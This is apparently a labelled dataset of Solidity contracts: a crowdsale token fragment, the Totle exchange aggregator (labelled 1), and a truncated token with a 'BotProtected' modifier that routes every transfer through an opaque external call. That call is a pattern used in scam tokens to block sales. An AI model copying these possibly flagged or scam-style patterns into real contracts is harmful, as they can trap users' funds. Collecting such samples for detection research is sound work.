_initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; } } } function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } function claimTokens(address _token) public onlyOwner { require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } } contract ReservedTokensFinalizeAgent is FinalizeAgent { using SafeMathLibExt for uint; CrowdsaleTokenExt public token; CrowdsaleExt public crowdsale; uint public distributedReservedTokensDestinationsLen = 0; function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { token = _token; crowdsale = _crowdsale; } function isSane() public constant returns (bool) { return (token.releaseAgent() == address(this)); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public { assert(msg.sender == address(crowdsale)); assert(reservedTokensDistributionBatch > 0); assert(!reservedTokensAreDistributed); assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); uint tokensSold = 0; for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); tokensSold = tokensSold.plus(tier.tokensSold()); } uint startLooping = distributedReservedTokensDestinationsLen; uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); if (batch >= reservedTokensDistributionBatch) { batch = reservedTokensDistributionBatch; } uint endLooping = startLooping + batch; for (uint j = startLooping; j < endLooping; j++) { address reservedAddr = token.reservedTokensDestinations(j); if (!token.areTokensDistributedForAddress(reservedAddr)) { uint allocatedBonusInPercentage; uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); if (percentsOfTokensUnit > 0) { allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; token.mint(reservedAddr, allocatedBonusInPercentage); } if (allocatedBonusInTokens > 0) { token.mint(reservedAddr, allocatedBonusInTokens); } token.finalizeReservedAddress(reservedAddr); distributedReservedTokensDestinationsLen++; } } if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { reservedTokensAreDistributed = true; } } function finalizeCrowdsale() public { assert(msg.sender == address(crowdsale)); if (token.reservedTokensDestinationsLen() > 0) { assert(reservedTokensAreDistributed); } token.releaseTokenTransfer(); } }
0
966
pragma solidity 0.4.25; pragma experimental ABIEncoderV2; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library ERC20SafeTransfer { function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) { require(_tokenAddress.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value)); return fetchReturnData(); } function safeTransferFrom(address _tokenAddress, address _from, address _to, uint256 _value) internal returns (bool success) { require(_tokenAddress.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value)); return fetchReturnData(); } function safeApprove(address _tokenAddress, address _spender, uint256 _value) internal returns (bool success) { require(_tokenAddress.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value)); return fetchReturnData(); } function fetchReturnData() internal returns (bool success){ assembly { switch returndatasize() case 0 { success := 1 } case 32 { returndatacopy(0, 0, 32) success := mload(0) } default { revert(0, 0) } } } } contract Withdrawable is Ownable { function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) { return ERC20SafeTransfer.safeTransfer(_token, owner, _amount); } function withdrawETH(uint256 _amount) external onlyOwner { owner.transfer(_amount); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function decimals() public view returns (uint256); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract TokenTransferProxy is Ownable { modifier onlyAuthorized { require(authorized[msg.sender]); _; } modifier targetAuthorized(address target) { require(authorized[target]); _; } modifier targetNotAuthorized(address target) { require(!authorized[target]); _; } mapping (address => bool) public authorized; address[] public authorities; event LogAuthorizedAddressAdded(address indexed target, address indexed caller); event LogAuthorizedAddressRemoved(address indexed target, address indexed caller); function addAuthorizedAddress(address target) public onlyOwner targetNotAuthorized(target) { authorized[target] = true; authorities.push(target); emit LogAuthorizedAddressAdded(target, msg.sender); } function removeAuthorizedAddress(address target) public onlyOwner targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } emit LogAuthorizedAddressRemoved(target, msg.sender); } function transferFrom( address token, address from, address to, uint value) public onlyAuthorized returns (bool) { require(ERC20SafeTransfer.safeTransferFrom(token, from, to, value)); return true; } function getAuthorizedAddresses() public view returns (address[]) { return authorities; } } contract Pausable is Ownable { event Paused(); event Unpaused(); bool private _paused = false; function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Contract is paused."); _; } modifier whenPaused() { require(_paused, "Contract not paused."); _; } function pause() public onlyOwner whenNotPaused { _paused = true; emit Paused(); } function unpause() public onlyOwner whenPaused { _paused = false; emit Unpaused(); } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Utils { uint256 constant internal PRECISION = (10**18); uint256 constant internal MAX_QTY = (10**28); uint256 constant internal MAX_RATE = (PRECISION * 10**6); uint256 constant internal MAX_DECIMALS = 18; uint256 constant internal ETH_DECIMALS = 18; uint256 constant internal MAX_UINT = 2**256-1; function precision() internal pure returns (uint256) { return PRECISION; } function max_qty() internal pure returns (uint256) { return MAX_QTY; } function max_rate() internal pure returns (uint256) { return MAX_RATE; } function max_decimals() internal pure returns (uint256) { return MAX_DECIMALS; } function eth_decimals() internal pure returns (uint256) { return ETH_DECIMALS; } function max_uint() internal pure returns (uint256) { return MAX_UINT; } function getDecimals(address token) internal view returns (uint256 decimals) { bytes4 functionSig = bytes4(keccak256("decimals()")); assembly { let ptr := mload(0x40) mstore(ptr,functionSig) let functionSigLength := 0x04 let wordLength := 0x20 let success := call( 5000, token, 0, ptr, functionSigLength, ptr, wordLength ) switch success case 0 { decimals := 0 } case 1 { decimals := mload(ptr) } mstore(0x40,add(ptr,0x04)) } } function tokenAllowanceAndBalanceSet( address tokenOwner, address tokenAddress, uint256 tokenAmount, address addressToAllow ) internal view returns (bool) { return ( ERC20(tokenAddress).allowance(tokenOwner, addressToAllow) >= tokenAmount && ERC20(tokenAddress).balanceOf(tokenOwner) >= tokenAmount ); } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) { if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) { uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; } function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns (uint) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns (uint) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals) internal pure returns (uint) { require(srcAmount <= MAX_QTY); require(destAmount <= MAX_QTY); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount)); } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount); } } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ErrorReporter { function revertTx(string reason) public pure { revert(reason); } } contract Affiliate{ address public affiliateBeneficiary; uint256 public affiliatePercentage; uint256 public companyPercentage; address public companyBeneficiary; function init(address _companyBeneficiary, uint256 _companyPercentage, address _affiliateBeneficiary, uint256 _affiliatePercentage) public { require(companyBeneficiary == 0x0 && affiliateBeneficiary == 0x0); companyBeneficiary = _companyBeneficiary; companyPercentage = _companyPercentage; affiliateBeneficiary = _affiliateBeneficiary; affiliatePercentage = _affiliatePercentage; } function payout() public { affiliateBeneficiary.transfer(SafeMath.div(SafeMath.mul(address(this).balance, affiliatePercentage), getTotalFeePercentage())); companyBeneficiary.transfer(address(this).balance); } function() public payable { } function getTotalFeePercentage() public view returns (uint256){ return affiliatePercentage + companyPercentage; } } contract AffiliateRegistry is Ownable { address target; mapping(address => bool) affiliateContracts; address public companyBeneficiary; uint256 public companyPercentage; event AffiliateRegistered(address affiliateContract); constructor(address _target, address _companyBeneficiary, uint256 _companyPercentage) public { target = _target; companyBeneficiary = _companyBeneficiary; companyPercentage = _companyPercentage; } function registerAffiliate(address affiliateBeneficiary, uint256 affiliatePercentage) external { Affiliate newAffiliate = Affiliate(createClone()); newAffiliate.init(companyBeneficiary, companyPercentage, affiliateBeneficiary, affiliatePercentage); affiliateContracts[address(newAffiliate)] = true; emit AffiliateRegistered(address(newAffiliate)); } function overrideRegisterAffiliate(address _companyBeneficiary, uint256 _companyPercentage, address affiliateBeneficiary, uint256 affiliatePercentage) external onlyOwner { Affiliate newAffiliate = Affiliate(createClone()); newAffiliate.init(_companyBeneficiary, _companyPercentage, affiliateBeneficiary, affiliatePercentage); affiliateContracts[address(newAffiliate)] = true; emit AffiliateRegistered(address(newAffiliate)); } function deleteAffiliate(address _affiliateAddress) public onlyOwner { affiliateContracts[_affiliateAddress] = false; } function createClone() internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } function isValidAffiliate(address affiliateContract) public view returns(bool) { return affiliateContracts[affiliateContract]; } function updateCompanyInfo(address newCompanyBeneficiary, uint256 newCompanyPercentage) public onlyOwner { companyBeneficiary = newCompanyBeneficiary; companyPercentage = newCompanyPercentage; } } contract TotleControl is Ownable { mapping(address => bool) public authorizedPrimaries; modifier onlyTotle() { require(authorizedPrimaries[msg.sender]); _; } constructor(address _totlePrimary) public { authorizedPrimaries[_totlePrimary] = true; } function addTotle( address _totlePrimary ) external onlyOwner { authorizedPrimaries[_totlePrimary] = true; } function removeTotle( address _totlePrimary ) external onlyOwner { authorizedPrimaries[_totlePrimary] = false; } } contract SelectorProvider { bytes4 constant getAmountToGiveSelector = bytes4(keccak256("getAmountToGive(bytes)")); bytes4 constant staticExchangeChecksSelector = bytes4(keccak256("staticExchangeChecks(bytes)")); bytes4 constant performBuyOrderSelector = bytes4(keccak256("performBuyOrder(bytes,uint256)")); bytes4 constant performSellOrderSelector = bytes4(keccak256("performSellOrder(bytes,uint256)")); function getSelector(bytes4 genericSelector) public pure returns (bytes4); } contract ExchangeHandler is SelectorProvider, TotleControl, Withdrawable, Pausable { ErrorReporter public errorReporter; constructor( address totlePrimary, address _errorReporter ) TotleControl(totlePrimary) public { require(_errorReporter != address(0x0)); errorReporter = ErrorReporter(_errorReporter); } function getAmountToGive( bytes genericPayload ) public view returns (uint256 amountToGive) { bool success; bytes4 functionSelector = getSelector(this.getAmountToGive.selector); assembly { let functionSelectorLength := 0x04 let functionSelectorOffset := 0x1C let scratchSpace := 0x0 let wordLength := 0x20 let bytesLength := mload(genericPayload) let totalLength := add(functionSelectorLength, bytesLength) let startOfNewData := add(genericPayload, functionSelectorOffset) mstore(add(scratchSpace, functionSelectorOffset), functionSelector) let functionSelectorCorrect := mload(scratchSpace) mstore(genericPayload, functionSelectorCorrect) success := delegatecall( gas, address, startOfNewData, totalLength, scratchSpace, wordLength ) amountToGive := mload(scratchSpace) if eq(success, 0) { revert(0, 0) } } } function staticExchangeChecks( bytes genericPayload ) public view returns (bool checksPassed) { bool success; bytes4 functionSelector = getSelector(this.staticExchangeChecks.selector); assembly { let functionSelectorLength := 0x04 let functionSelectorOffset := 0x1C let scratchSpace := 0x0 let wordLength := 0x20 let bytesLength := mload(genericPayload) let totalLength := add(functionSelectorLength, bytesLength) let startOfNewData := add(genericPayload, functionSelectorOffset) mstore(add(scratchSpace, functionSelectorOffset), functionSelector) let functionSelectorCorrect := mload(scratchSpace) mstore(genericPayload, functionSelectorCorrect) success := delegatecall( gas, address, startOfNewData, totalLength, scratchSpace, wordLength ) checksPassed := mload(scratchSpace) if eq(success, 0) { revert(0, 0) } } } function performBuyOrder( bytes genericPayload, uint256 amountToGiveForOrder ) public payable returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder) { bool success; bytes4 functionSelector = getSelector(this.performBuyOrder.selector); assembly { let callDataOffset := 0x44 let functionSelectorOffset := 0x1C let functionSelectorLength := 0x04 let scratchSpace := 0x0 let wordLength := 0x20 let startOfFreeMemory := mload(0x40) calldatacopy(startOfFreeMemory, callDataOffset, calldatasize) let bytesLength := mload(startOfFreeMemory) let totalLength := add(add(functionSelectorLength, bytesLength), wordLength) mstore(add(scratchSpace, functionSelectorOffset), functionSelector) let functionSelectorCorrect := mload(scratchSpace) mstore(startOfFreeMemory, functionSelectorCorrect) mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder) let startOfNewData := add(startOfFreeMemory,functionSelectorOffset) success := delegatecall( gas, address, startOfNewData, totalLength, scratchSpace, mul(wordLength, 0x02) ) amountSpentOnOrder := mload(scratchSpace) amountReceivedFromOrder := mload(add(scratchSpace, wordLength)) if eq(success, 0) { revert(0, 0) } } } function performSellOrder( bytes genericPayload, uint256 amountToGiveForOrder ) public returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder) { bool success; bytes4 functionSelector = getSelector(this.performSellOrder.selector); assembly { let callDataOffset := 0x44 let functionSelectorOffset := 0x1C let functionSelectorLength := 0x04 let scratchSpace := 0x0 let wordLength := 0x20 let startOfFreeMemory := mload(0x40) calldatacopy(startOfFreeMemory, callDataOffset, calldatasize) let bytesLength := mload(startOfFreeMemory) let totalLength := add(add(functionSelectorLength, bytesLength), wordLength) mstore(add(scratchSpace, functionSelectorOffset), functionSelector) let functionSelectorCorrect := mload(scratchSpace) mstore(startOfFreeMemory, functionSelectorCorrect) mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder) let startOfNewData := add(startOfFreeMemory,functionSelectorOffset) success := delegatecall( gas, address, startOfNewData, totalLength, scratchSpace, mul(wordLength, 0x02) ) amountSpentOnOrder := mload(scratchSpace) amountReceivedFromOrder := mload(add(scratchSpace, wordLength)) if eq(success, 0) { revert(0, 0) } } } } contract TotlePrimary is Withdrawable, Pausable { mapping(address => bool) public handlerWhitelistMap; address[] public handlerWhitelistArray; AffiliateRegistry affiliateRegistry; address public defaultFeeAccount; TokenTransferProxy public tokenTransferProxy; ErrorReporter public errorReporter; struct Trade { bool isSell; address tokenAddress; uint256 tokenAmount; bool optionalTrade; uint256 minimumExchangeRate; uint256 minimumAcceptableTokenAmount; Order[] orders; } struct Order { address exchangeHandler; bytes genericPayload; } struct TradeFlag { bool ignoreTrade; bool[] ignoreOrder; } struct CurrentAmounts { uint256 amountSpentOnTrade; uint256 amountReceivedFromTrade; uint256 amountLeftToSpendOnTrade; } event LogRebalance( bytes32 id ); modifier handlerWhitelisted(address handler) { if (!handlerWhitelistMap[handler]) { errorReporter.revertTx("Handler not in whitelist"); } _; } modifier handlerNotWhitelisted(address handler) { if (handlerWhitelistMap[handler]) { errorReporter.revertTx("Handler already whitelisted"); } _; } constructor (address _tokenTransferProxy, address _affiliateRegistry, address _errorReporter, address _defaultFeeAccount) public { tokenTransferProxy = TokenTransferProxy(_tokenTransferProxy); affiliateRegistry = AffiliateRegistry(_affiliateRegistry); errorReporter = ErrorReporter(_errorReporter); defaultFeeAccount = _defaultFeeAccount; } function updateDefaultFeeAccount(address newDefaultFeeAccount) public onlyOwner { defaultFeeAccount = newDefaultFeeAccount; } function addHandlerToWhitelist(address handler) public onlyOwner handlerNotWhitelisted(handler) { handlerWhitelistMap[handler] = true; handlerWhitelistArray.push(handler); } function removeHandlerFromWhitelist(address handler) public onlyOwner handlerWhitelisted(handler) { delete handlerWhitelistMap[handler]; for (uint i = 0; i < handlerWhitelistArray.length; i++) { if (handlerWhitelistArray[i] == handler) { handlerWhitelistArray[i] = handlerWhitelistArray[handlerWhitelistArray.length - 1]; handlerWhitelistArray.length -= 1; break; } } } function performRebalance( Trade[] memory trades, address feeAccount, bytes32 id ) public payable whenNotPaused { if(!affiliateRegistry.isValidAffiliate(feeAccount)){ feeAccount = defaultFeeAccount; } Affiliate affiliate = Affiliate(feeAccount); uint256 feePercentage = affiliate.getTotalFeePercentage(); emit LogRebalance(id); TradeFlag[] memory tradeFlags = initialiseTradeFlags(trades); staticChecks(trades, tradeFlags); transferTokens(trades, tradeFlags); uint256 etherBalance = msg.value; uint256 totalFee = 0; for (uint256 i; i < trades.length; i++) { Trade memory thisTrade = trades[i]; TradeFlag memory thisTradeFlag = tradeFlags[i]; CurrentAmounts memory amounts = CurrentAmounts({ amountSpentOnTrade: 0, amountReceivedFromTrade: 0, amountLeftToSpendOnTrade: thisTrade.isSell ? thisTrade.tokenAmount : calculateMaxEtherSpend(thisTrade, etherBalance, feePercentage) }); performTrade( thisTrade, thisTradeFlag, amounts ); uint256 ethTraded; uint256 ethFee; if(thisTrade.isSell){ ethTraded = amounts.amountReceivedFromTrade; } else { ethTraded = amounts.amountSpentOnTrade; } ethFee = calculateFee(ethTraded, feePercentage); totalFee = SafeMath.add(totalFee, ethFee); if (amounts.amountReceivedFromTrade == 0 && thisTrade.optionalTrade) { continue; } if (!checkIfTradeAmountsAcceptable(thisTrade, amounts.amountSpentOnTrade, amounts.amountReceivedFromTrade)) { errorReporter.revertTx("Amounts spent/received in trade not acceptable"); } if (thisTrade.isSell) { etherBalance = SafeMath.sub(SafeMath.add(etherBalance, ethTraded), ethFee); } else { etherBalance = SafeMath.sub(SafeMath.sub(etherBalance, ethTraded), ethFee); } transferTokensToUser( thisTrade.tokenAddress, thisTrade.isSell ? amounts.amountLeftToSpendOnTrade : amounts.amountReceivedFromTrade ); } if(totalFee > 0){ feeAccount.transfer(totalFee); } if(etherBalance > 0) { msg.sender.transfer(etherBalance); } } function staticChecks( Trade[] trades, TradeFlag[] tradeFlags ) public view whenNotPaused { bool previousBuyOccured = false; for (uint256 i; i < trades.length; i++) { Trade memory thisTrade = trades[i]; if (thisTrade.isSell) { if (previousBuyOccured) { errorReporter.revertTx("A buy has occured before this sell"); } if (!Utils.tokenAllowanceAndBalanceSet(msg.sender, thisTrade.tokenAddress, thisTrade.tokenAmount, address(tokenTransferProxy))) { if (!thisTrade.optionalTrade) { errorReporter.revertTx("Taker has not sent allowance/balance on a non-optional trade"); } tradeFlags[i].ignoreTrade = true; continue; } } else { previousBuyOccured = true; } for (uint256 j; j < thisTrade.orders.length; j++) { Order memory thisOrder = thisTrade.orders[j]; if ( !handlerWhitelistMap[thisOrder.exchangeHandler] ) { tradeFlags[i].ignoreOrder[j] = true; continue; } } } } function initialiseTradeFlags(Trade[] trades) internal returns (TradeFlag[]) { TradeFlag[] memory tradeFlags = new TradeFlag[](trades.length); for (uint256 i = 0; i < trades.length; i++) { tradeFlags[i].ignoreOrder = new bool[](trades[i].orders.length); } return tradeFlags; } function transferTokensToUser( address tokenAddress, uint256 tokenAmount ) internal { if (tokenAmount > 0) { if (!ERC20SafeTransfer.safeTransfer(tokenAddress, msg.sender, tokenAmount)) { errorReporter.revertTx("Unable to transfer tokens to user"); } } } function performTrade( Trade memory trade, TradeFlag memory tradeFlag, CurrentAmounts amounts ) internal { for (uint256 j; j < trade.orders.length; j++) { if(amounts.amountLeftToSpendOnTrade * 10000 < (amounts.amountSpentOnTrade + amounts.amountLeftToSpendOnTrade)){ return; } if((trade.isSell ? amounts.amountSpentOnTrade : amounts.amountReceivedFromTrade) >= trade.tokenAmount ) { return; } if (tradeFlag.ignoreOrder[j] || amounts.amountLeftToSpendOnTrade == 0) { continue; } uint256 amountSpentOnOrder = 0; uint256 amountReceivedFromOrder = 0; Order memory thisOrder = trade.orders[j]; ExchangeHandler thisHandler = ExchangeHandler(thisOrder.exchangeHandler); uint256 amountToGiveForOrder = Utils.min( thisHandler.getAmountToGive(thisOrder.genericPayload), amounts.amountLeftToSpendOnTrade ); if (amountToGiveForOrder == 0) { continue; } if( !thisHandler.staticExchangeChecks(thisOrder.genericPayload) ) { continue; } if (trade.isSell) { if (!ERC20SafeTransfer.safeTransfer(trade.tokenAddress,address(thisHandler), amountToGiveForOrder)) { if( !trade.optionalTrade ) errorReporter.revertTx("Unable to transfer tokens to handler"); else { return; } } (amountSpentOnOrder, amountReceivedFromOrder) = thisHandler.performSellOrder(thisOrder.genericPayload, amountToGiveForOrder); } else { (amountSpentOnOrder, amountReceivedFromOrder) = thisHandler.performBuyOrder.value(amountToGiveForOrder)(thisOrder.genericPayload, amountToGiveForOrder); } if (amountReceivedFromOrder > 0) { amounts.amountLeftToSpendOnTrade = SafeMath.sub(amounts.amountLeftToSpendOnTrade, amountSpentOnOrder); amounts.amountSpentOnTrade = SafeMath.add(amounts.amountSpentOnTrade, amountSpentOnOrder); amounts.amountReceivedFromTrade = SafeMath.add(amounts.amountReceivedFromTrade, amountReceivedFromOrder); } } } function checkIfTradeAmountsAcceptable( Trade trade, uint256 amountSpentOnTrade, uint256 amountReceivedFromTrade ) internal view returns (bool passed) { uint256 tokenAmount = trade.isSell ? amountSpentOnTrade : amountReceivedFromTrade; passed = tokenAmount >= trade.minimumAcceptableTokenAmount; if (passed) { uint256 tokenDecimals = Utils.getDecimals(ERC20(trade.tokenAddress)); uint256 srcDecimals = trade.isSell ? tokenDecimals : Utils.eth_decimals(); uint256 destDecimals = trade.isSell ? Utils.eth_decimals() : tokenDecimals; uint256 actualRate = Utils.calcRateFromQty(amountSpentOnTrade, amountReceivedFromTrade, srcDecimals, destDecimals); passed = actualRate >= trade.minimumExchangeRate; } } function transferTokens(Trade[] trades, TradeFlag[] tradeFlags) internal { for (uint256 i = 0; i < trades.length; i++) { if (trades[i].isSell && !tradeFlags[i].ignoreTrade) { if ( !tokenTransferProxy.transferFrom( trades[i].tokenAddress, msg.sender, address(this), trades[i].tokenAmount ) ) { errorReporter.revertTx("TTP unable to transfer tokens to primary"); } } } } function calculateMaxEtherSpend(Trade trade, uint256 etherBalance, uint256 feePercentage) internal view returns (uint256) { assert(!trade.isSell); uint256 tokenDecimals = Utils.getDecimals(ERC20(trade.tokenAddress)); uint256 srcDecimals = trade.isSell ? tokenDecimals : Utils.eth_decimals(); uint256 destDecimals = trade.isSell ? Utils.eth_decimals() : tokenDecimals; uint256 maxSpendAtMinRate = Utils.calcSrcQty(trade.tokenAmount, srcDecimals, destDecimals, trade.minimumExchangeRate); return Utils.min(removeFee(etherBalance, feePercentage), maxSpendAtMinRate); } function calculateFee(uint256 amount, uint256 fee) internal view returns (uint256){ return SafeMath.div(SafeMath.mul(amount, fee), 1 ether); } function removeFee(uint256 amount, uint256 fee) internal view returns (uint256){ return SafeMath.div(SafeMath.mul(amount, 1 ether), SafeMath.add(fee, 1 ether)); } function() public payable whenNotPaused { uint256 size; address sender = msg.sender; assembly { size := extcodesize(sender) } if (size == 0) { errorReporter.revertTx("EOA cannot send ether to primary fallback"); } } } contract AllowanceSetter { uint256 constant MAX_UINT = 2**256 - 1; function approveAddress(address addressToApprove, address token) internal { if(ERC20(token).allowance(address(this), addressToApprove) == 0) { require(ERC20SafeTransfer.safeApprove(token, addressToApprove, MAX_UINT)); } } } contract TotleProxyPrimary is Ownable, AllowanceSetter { TokenTransferProxy public tokenTransferProxy; TotlePrimary public totlePrimary; constructor(address _tokenTransferProxy, address _totlePrimary) public { tokenTransferProxy = TokenTransferProxy(_tokenTransferProxy); totlePrimary = TotlePrimary(_totlePrimary); } function performRebalance( TotlePrimary.Trade[] memory trades, address feeAccount, bytes32 id, address paymentReceiver, bool redirectEth, address[] redirectTokens ) public payable { transferTokensIn(trades); totlePrimary.performRebalance.value(msg.value)(trades, feeAccount, id); transferTokensOut(trades, paymentReceiver, redirectTokens); if(redirectEth) { paymentReceiver.transfer(address(this).balance); } else { msg.sender.transfer(address(this).balance); } } function transferTokensIn(TotlePrimary.Trade[] trades) internal { for (uint256 i = 0; i < trades.length; i++) { if (trades[i].isSell) { if (!tokenTransferProxy.transferFrom( trades[i].tokenAddress, msg.sender, address(this), trades[i].tokenAmount )) { revert("TTP unable to transfer tokens to proxy"); } approveAddress(address(totlePrimary), trades[i].tokenAddress); } } } function transferTokensOut(TotlePrimary.Trade[] trades, address receiver, address[] redirectTokens) internal { for (uint256 i = 0; i < trades.length; i++) { bool redirect = false; for(uint256 tokenIndex = 0; tokenIndex < redirectTokens.length; tokenIndex++){ if(redirectTokens[tokenIndex] == trades[i].tokenAddress){ redirect = true; break; } } uint256 balance = ERC20(trades[i].tokenAddress).balanceOf(address(this)); if(balance > 0){ ERC20SafeTransfer.safeTransfer(trades[i].tokenAddress, redirect ? receiver : msg.sender, balance); } } } function setTokenTransferProxy(address _newTokenTransferProxy) public onlyOwner { tokenTransferProxy = TokenTransferProxy(_newTokenTransferProxy); } function setTotlePrimary(address _newTotlePrimary) public onlyOwner { totlePrimary = TotlePrimary(_newTotlePrimary); } }
1
4,166
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal stopTheBots; address public uniPair; constructor(address _botProtection) { stopTheBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, 